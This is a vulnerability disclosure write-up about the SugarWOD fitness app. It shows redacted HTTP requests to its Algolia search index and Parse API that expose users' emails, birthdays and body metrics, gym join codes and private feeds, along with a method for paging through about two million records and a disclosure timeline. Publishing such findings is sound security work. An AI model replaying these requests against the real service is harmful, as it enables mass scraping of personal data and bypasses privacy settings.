This is the story about how I stumbled some pretty big issues with the SugarWOD application. First, what is SugarWOD? Within the CrossFit community, WOD means “Workout of the Day.” SugarWOD is one of the top 3 most used mobile apps used in conjunction with CrossFit. It serves as a digital “whiteboard”, and allows for social workout tracking and delivering programming from CrossFit affiliates to their clients. Below is an example of a WOD pasted within the application. In this example, the “affiliate” is CrossFit mainsite, which is free to use and the WOD is pulled from whatever is posted on CrossFit.com.

For the workout, athletes can post their times/scores, give other athletes digital “fistbumps” and leave comments.

Screenshot

If you want to be a member of a different gym, you have to search. Gyms have the option to be password protected, so you need to enter that when you attempt to join.

I had used this app for a while as my local affiliate was using it, and at one point I noticed that there was “friends” tab at the bottom of the UI. I was curious how it worked.

It was pretty simple; first you just run a search. You can type in anything, and it will match on a user’s name or gym affiliation.

Screenshot

Sometimes, users would have privacy settings that do not allow you to see their feeds. Users have the option of setting their feeds public, only to friends and gym, only to friends, or private.

One thing I noticed while using the friend search was that sometimes it seemed like I matched on a user who did not appear to match my query. Why could this be? I thought that the search might also be looking in attributes that were not visible within the UI. Curious.

First thing I tried to do was proxy the app through Burp Suite. No dice. I figured that the app was using certificate pinning, as pretty much all apps do nowadays. This didn’t prove to be much of an issue however. To somewhat paraphrase Elliot Alderson from Mr. Robot:

[Certificate pinning], it’s not as [secure] as you think it is. Whoever’s in control of the [device] is also in control of the traffic, which makes me…the one in control.

Basically, as long as you have root access over the operating system, where it is iOS or Android, you can patch it to bypass the certificate pinning check. This can be a bit of an involved process, so I’m not going to document it here.  Just know that it’s doable.

First, I take a look at how the friend search function works. It makes an API call to a subdomain of algolia.net, which is a software that provides a feature they call “NeuralSearch” which is a kind of AI search tool that can deliver better search results against a set of records. Inside the app is two values needed to interact with the API, X-Algolia-Application-Id (tied to the application) and X-Algolia-API-Key (for authentication). To protect the innocent, I’ve redacted them here. Additionally, responses have been truncated for brevity.

POST /1/indexes/Athletes/query HTTP/1.1
X-Algolia-Application-Id: XXXXXXXXXX
X-Algolia-API-Key: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Host: xxxXXXxxxX-dsn.algolia.net
Content-Length: x

{"params":"query="}

Now, this is where it starts to get interesting.  When you get data from the query back, you get much more than just the name or gym…. you also get their email address they used to sign up to the app with. This is significant, as this is NOT exposed in the app, nor should it be. Also notable is something called objectID, which will be very useful later. By my estimates, there is roughly ~2 million accounts stored. When sending a query containing an empty value, The JSON output indicates that 2,076,568 records matched. It would now be trivial to extract all users within the platform, but performing queries such as:

POST /1/indexes/Athletes/query HTTP/1.1
X-Algolia-Application-Id: XXXXXXXXXX
X-Algolia-API-Key: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Host: xxxXXXxxxX-dsn.algolia.net
Content-Length: x

{"params":"query=&page=1&hitsPerPage=500"}

And iterating through all of the pages until each record is returned. The hitsPerPage parameter could be set to the maximum and then it would be possible to iterate thorough each page.

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json; charset=UTF-8

{
"hits":[
{
"parseId":"xxxxXXXXXX",
"firstName":"First",
"lastName":"Last",
"displayName":"First Last",
"email":"not.a.real.email@gmail.com",
"profileImageURL":null,
"affiliateName":"Independent Athlete",
"affId":"yyyyyYYYYY",
"objectID":"zzzZZZZZZZZ",
"_highlightResult":{
"parseId":{
"value":"zzzZZZZZZZZ",
"matchLevel":"none",
"matchedWords":[

]
...
"nbHits":2076568,
},

The objectID  is the unique ID tied to a particular account. The SugarWOD app uses one of two endpoints, iphone.sugarwod.com or android.sugarwod.com.  They are both functionally the same. To interact with them, you need to have a valid X-Parse-Application-Id to interact with the backend Parse server. You will also need an X-Parse-Session-Token which you get by hitting the /parse/login endpoint.

With this requisite information, you can then start calling other API functions. The one I want to focus most on is TBAthlete, as the output from it is very verbose. Not only can you pull all data about the athlete, but also the affiliate they are joined to. Notable data that is returned:

  • First and Last Name
  • Email Address
  • Height/Weight
  • Birthday
  • Affiliate Name
  • Affiliate Join Access Code
POST /parse/classes/TBAthlete HTTP/1.1
Host: [android|iphone].sugarwod.com
X-Parse-Session-Token: r:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
X-Parse-Application-Id: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/json
Content-Length: 110
Accept-Encoding: gzip, deflate, br
Connection: close

{
"include":"athletePreferences,affiliate",
"limit":"1",
"where":"{\"objectId\":\"xxxxXXXXXX\"}",
"_method":"GET"
}

This is a huge deal. user privacy aside, the join access code is the only thing needed to join an affiliate within the app. All you would need to do it look up any user at any gym, and you could recover the join code. By iterating through all users, you could recover every join code for every affiliate within SugarWOD.

HTTP/1.1 200 OK
Server: nginx
Content-Type: application/json; charset=UTF-8
{
"results":[
{
"objectId":"xxxxXXXXXX",
"certifications":[

],
"firstName":"First",
"lastName":"Last",
"gender":1,
"canLogin":true,
"height":X,
"weight":X,
"crossfitStartDate":"xxxx-xx-xx",
"isLevelOneCertified":false,
"workoutResultsCount":xxx,
"email":"not.a.real.email@gmail.com",
"athletePreferences":{
"objectId":"rrrrRRRRRR",
"visibility":1,

...

},
"affiliate":{
"__type":"Pointer",
"className":"TBAffiliate",
"objectId":"aaaaaaaaaa"

...

"athleteJoinAccessCode":"**************",

}

Once you have an affiliate join code, you can then join the gym and gain access to all it’s functionality. There are however, some affiliates you CANNOT join, with or without the password. This is where getAffiliateFeed comes in. Using this endpoint, you can pull down all the programmed workouts from any affiliate as long as you know their affiliateId. You do not have to be a member.

POST /parse/functions/getAffiliateFeed HTTP/1.1
Host: [android|iphone].sugarwod.com
X-Parse-Session-Token: r:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
X-Parse-Application-Id: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/json
Content-Length: 110
Accept-Encoding: gzip, deflate, br
Connection: close

{"lastTimeStamp":null,"affiliateId":"aaaaaaaaaa"}

Expanding on this, once you pull down an affiliate’s feed, you can find the ID for individual workouts. Once you have that, you can then pull down the comments for the workout.

POST /parse/functions/fetchComments HTTP/1.1
Host: [android|iphone].sugarwod.com
X-Parse-Session-Token: r:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
X-Parse-Application-Id: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/json
Content-Length: 78
Accept-Encoding: gzip, deflate, br
Connection: close

{
"target":{
"type":"TBWorkoutResult",
"id":"qqqqqqqqqq"
},
"athlete":{
"id":false
}
}

Much like getAffiliateFeed, you can also pull down the workout activity for an individual athlete. Privacy settings do not come into play when interacting with the API. As long as you know their athleteId, you can see their feed.

POST /parse/functions/getAthleteFeed HTTP/1.1
Host: [android|iphone].sugarwod.com
X-Parse-Session-Token: r:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
X-Parse-Application-Id: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Content-Type: application/json
Content-Length: 85
Accept-Encoding: gzip, deflate, br
Connection: close

{
"lastTimeStamp":null,
"athleteId":"xxxxXXXXXX",
"feedType":"activity",
"useMongo":true
}

These are just a few of the functions that I’ve seen, but many more functions exist within the app which have not been fully explored. Even with this however, It is quite impactful. It is possible to:

  • Enumerate 2 million users, names, profile pics, birthday, height, weight, and email addresses
  • Extract all Gyms join passwords
  • See any gym’s subscriptions within the SugarWOD marketplace (programming / nutrition, etc)
  • Target gyms with programming tracks like “Mayhem” which runs $129 a month
  • See affiliate feeds without membership (even non-joinable ones)
  • Pull historic workouts for years at a time (recover programming tracks)
  • Join any gym and gain access to content only for gym members, such as comments, workout results, etc
  • Bypass user-chosen privacy settings

Disclosure Timeline:

December 4th, 2023 – Contacted SugarWOD via contact form on website

December 6th, 2023 – Receive update on trouble ticket, directed to contact Product Manager

December 12th, 2023 – Made contact with Product Manager

December 15th, 2023 – Information Security Manager requests additional details

December 15th, 2023 – Additional vulnerability details provided

January 17th, 2024 – Requested status/timeline for vulnerability remediation

February 6th, 2024 – Second request for status/timeline for vulnerability remediation

October 10th, 2024 – Full disclosure